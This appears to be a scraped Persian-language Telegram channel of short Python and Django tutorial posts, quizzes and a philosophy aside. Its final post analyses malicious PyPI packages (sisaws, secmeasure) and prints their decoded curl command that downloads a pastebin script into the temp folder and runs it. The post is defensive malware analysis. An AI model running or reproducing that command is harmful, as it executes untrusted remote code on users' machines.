Code Verse
159 subscribers
84 photos
29 files
4 links
Download Telegram
تا حالا فکر کردی لغو کردن یک coroutine توی asyncio چطوری می‌تونه امن باشه؟ 🤔

در پایتون وقتی یک coroutine رو داخل asyncio لغو می‌کنیم، اگه درست مدیریت نشه، استثناهایی مثل CancelledError می‌تونن از کنترل خارج بشن و باعث خطاهای پیش‌بینی‌نشده در برنامه بشن. برای همین لازمه بدونیم چطور می‌شه لغوش کرد بدون اینکه exception نشت کنه.

🌌 @the_code_Verse 🪐
2👎1
🎲 Quiz 'Weak 2'
Context manager, Cancel Coroutine, metaclass vs decorator
🖊 10 questions · 1 min
موفقیت چیه؟ فقط یه کلمه ساخته‌ی بشره یا واقعا معنای عمیق‌تری داره؟

برای بعضیا موفقیت یعنی پادشاه شدن، برای بعضیا یعنی پیج اینستاگرام با یک میلیون فالور، یا حتی جمع کردن ثروت یا نزدیک شدن به خدا.

اما اگه به گذشته نگاه کنیم، همیشه یک چیز مشترک بوده: موفقیت معمولا هم‌معنی قدرت بوده. قدیما قدرت یعنی حکومت، امروز ممکنه قدرت یعنی پول یا حتی نفوذ اجتماعی.

پس شاید معنی موفقیت عوض نشده، فقط شکلش فرق کرده.

شاید موفقیت چیزی نباشه جز اختراعی از ذهن بشر برای اینکه پوچی رو فراموش کنه و به زندگی معنا بده.

فقط یه چیز میشه گفت موفقیت یکی از نیازهای اساسی بشر هستش.

آخر موفقیت چیه؟

#code_break #philosophy #success


🌌 @the_code_Verse 🪐
👍5👎1
5. چگونه می‌توان یک custom authentication backend در Django پیاده‌سازی کرد؟

#question #django

🌌 @the_code_Verse 🪐
تا حالا به این فکر کردی که توی Django چطور میشه ورود کاربر رو کاملاً شخصی‌سازی کرد؟ 🔐

داخل Django به طور پیش‌فرض سیستم احراز هویت خودش رو داره، اما وقتی بخوای کاربرها رو مثلاً با ایمیل، موبایل یا شرایط خاص سازمانی لاگین بدی، باید یک custom authentication backend بنویسی تا روند ورود دقیقاً مطابق نیازت عمل کنه.

🌌 @the_code_Verse 🪐
👎1
‏6. یک descriptor بساز که مقدار attribute را ذخیره کند، اما اگر مقدار تکراری وارد شود، خطا بدهد و cache هر instance را جدا نگه دارد.

#question #python

🌌 @the_code_Verse 🪐
👍2👎1
تا حالا شده بخواید class_method یا static_method خودتونو بنویسید؟ ⚡️🐍

گاهی وقت‌ها می‌خوایم کنترل بیشتری روی ویژگی‌های کلاس داشته باشیم. با descriptor می‌شه کاری کرد که هر بار مقدار attribute تغییر کنه بررسی بشه؛ اگه مقدار تکراری بود خطا بده و در عین حال cache هر شیء رو به‌طور جداگانه نگه داره تا با بقیه قاطی نشه.

🌌 @the_code_Verse 🪐
2👎1
6. تفاوت get_queryset() و get_context_data() در class-based views چیست و هر کدام چه نقشی دارند؟

#question #django

🌌 @the_code_Verse 🪐
4
می‌دونی توی Django CBVها، get_queryset و get_context_data هر کدوم دقیقاً چه کاری می‌کنن؟ 🤔⚡️

در class-based views دو متد مهم داریم: get_queryset() که داده‌های اصلی رو برای نمایش برمی‌گردونه، و get_context_data() که متغیرها و داده‌های جانبی رو به قالب اضافه می‌کنه. تفاوت این دو در اینه که یکی مسئول تأمین داده‌ی اصلیه و دیگری مسئول ساخت context کامل برای رندر شدن قالب.

🌌 @the_code_Verse 🪐
3👍1👎1
دوتا کتابخونه sisaws و secmeasure که هکر‌ها داخل PyPi گذاشته بودن. توضیحات بیشتر KALI

یکم گشتم داخل سایت Zscaler Blog توضیح داد که کتابخونه مورد نظر یه کد رو اجرا میکرد

If a developer imports the sisaws package and invokes the gen_token function, the code will decode a hexadecimal string that reveals a curl command, which is then used to fetch an additional Python script, as shown below.

curl -sL https://pastebin.com/raw/jaH2uRE1 -o %TEMP%\\helper.py && python %TEMP%\\helper.py

نکته:‌به هیچ‌وجه کد رو اجرا نکنید، بنده هیچ مسئولیتی قبول نمیکنم.
حالا کدی که این دستور curl دانلود میکرد رو از همین لینک گرفتم.

کدهای دانلود شده داخل pdf زیر به صورت آموزشی توضیح داده میشن.

#python #malware #code_analysis

🌌 @the_code_Verse 🪐
4